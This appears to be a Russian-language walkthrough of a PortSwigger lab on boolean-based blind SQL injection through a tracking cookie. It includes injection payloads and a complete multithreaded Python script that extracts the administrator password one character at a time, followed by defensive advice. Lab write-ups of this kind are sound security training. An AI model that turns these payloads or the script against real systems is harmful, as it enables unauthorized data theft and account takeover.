На странице
Слепая SQL-инъекция с условными ответами
Уязвимость
Слепая SQL-инъекция (Blind SQLi) — класс SQL-инъекций, при которых приложение не возвращает результаты запросов или сообщения об ошибках в HTTP-ответе. Атакующий получает данные, наблюдая за изменениями в поведении приложения: появляется ли определённое сообщение, меняется ли время ответа.
В данном варианте (boolean-based blind SQLi) приложение возвращает разный контент в зависимости от того, вернуло ли условие TRUE или FALSE. Конструируя условия вида SUBSTRING(password, 1, 1) = 'a', атакующий может извлекать данные посимвольно.
Лаборатория
Название: Blind SQL injection with conditional responses
Сложность: Practitioner
Цель: Эксплуатировать слепую SQL-инъекцию в tracking cookie, извлечь пароль администратора и войти в аккаунт.
Разведка
Приложение хранит cookie TrackingId, которая используется в SQL-запросе. Результат запроса нигде не отображается, однако на странице появляется сообщение «Welcome back!», если запрос вернул хотя бы одну строку.
Сначала подтверждаем точку инъекции, добавив кавычку:
TrackingId=ncJfdwqSUQK7Gh4b'--
Сообщение «Welcome back!» продолжает появляться — комментарий -- нейтрализует остаток оригинального запроса, инъекция активна.
Проверяем булево поведение:
-- Условие TRUE → «Welcome back!» появляется
TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--
-- Условие FALSE → «Welcome back!» исчезает
TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--
Теперь у нас есть надёжный оракул: истинное условие — сообщение есть, ложное — нет. Этого достаточно для извлечения любых данных из базы.
Эксплуатация
Шаг 1 — Определяем длину пароля
Используем функцию LENGTH():
TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--
«Welcome back!» появляется при = 20 — пароль состоит из 20 символов.
Шаг 2 — Извлекаем символы
Функция SUBSTRING(строка, позиция, длина) позволяет проверять по одному символу:
-- Первый символ — 'w'?
TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--
Делать это вручную для 20 символов × 36 возможных значений (a–z + 0–9) — сотни запросов. Автоматизируем скриптом.
Шаг 3 — Автоматизация на Python
Скрипт использует ThreadPoolExecutor для параллельного выполнения 10 запросов одновременно:
import requests
import string
from concurrent.futures import ThreadPoolExecutor, as_completed
HOST = "0a7100260337b44880b2629c0027006c.web-security-academy.net"
BASE_URL = f"https://{HOST}/filter?category=Gifts"
TRACKING_ID = "ncJfdwqSUQK7Gh4b"
SESSION = "mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk"
CHARSET = string.ascii_lowercase + string.digits
MAX_LENGTH = 30
THREADS = 10
def check(sql_condition: str) -> bool:
payload = f"{TRACKING_ID}'+AND+{sql_condition}--"
cookies = {"TrackingId": payload, "session": SESSION}
r = requests.get(BASE_URL, cookies=cookies, timeout=10)
return "Welcome back" in r.text
def get_password_length(max_len: int = MAX_LENGTH) -> int:
print("[*] Определяем длину пароля...")
for n in range(1, max_len + 1):
condition = f"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}"
if check(condition):
print(f"[+] Длина пароля: {n}")
return n
raise ValueError(f"Длина пароля не найдена в пределах {max_len}")
def get_char_at(pos: int, length: int) -> tuple[int, str]:
for c in CHARSET:
condition = f"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'"
if check(condition):
return pos, c
return pos, "?"
def get_password(length: int) -> str:
print(f"[*] Перебираем {length} символов в {THREADS} потоков...")
password = ["?"] * length
with ThreadPoolExecutor(max_workers=THREADS) as executor:
futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}
for future in as_completed(futures):
pos, char = future.result()
password[pos - 1] = char
print(f" [{pos}/{length}] '{char}' => {''.join(password)}")
return "".join(password)
def main():
length = get_password_length()
password = get_password(length)
print(f"\n[+] Пароль: {password}")
if __name__ == "__main__":
main()
Результат: wfa3n32o7a6mb4xon7d6
Заходим в /my-account как administrator с этим паролем — лаба решена.
Вывод
Слепая SQL-инъекция менее очевидна, чем классическая, но не менее опасна. Даже без какого-либо вывода данных, одного булевого сигнала (сообщение есть / нет) достаточно для извлечения всей базы.
Как защититься:
- Использовать параметризованные запросы (prepared statements) — они полностью исключают инъекцию
- Никогда не конкатенировать пользовательский ввод напрямую в SQL-строку
- Применять принцип наименьших привилегий — аккаунт веб-приложения не должен иметь доступ к таблице
users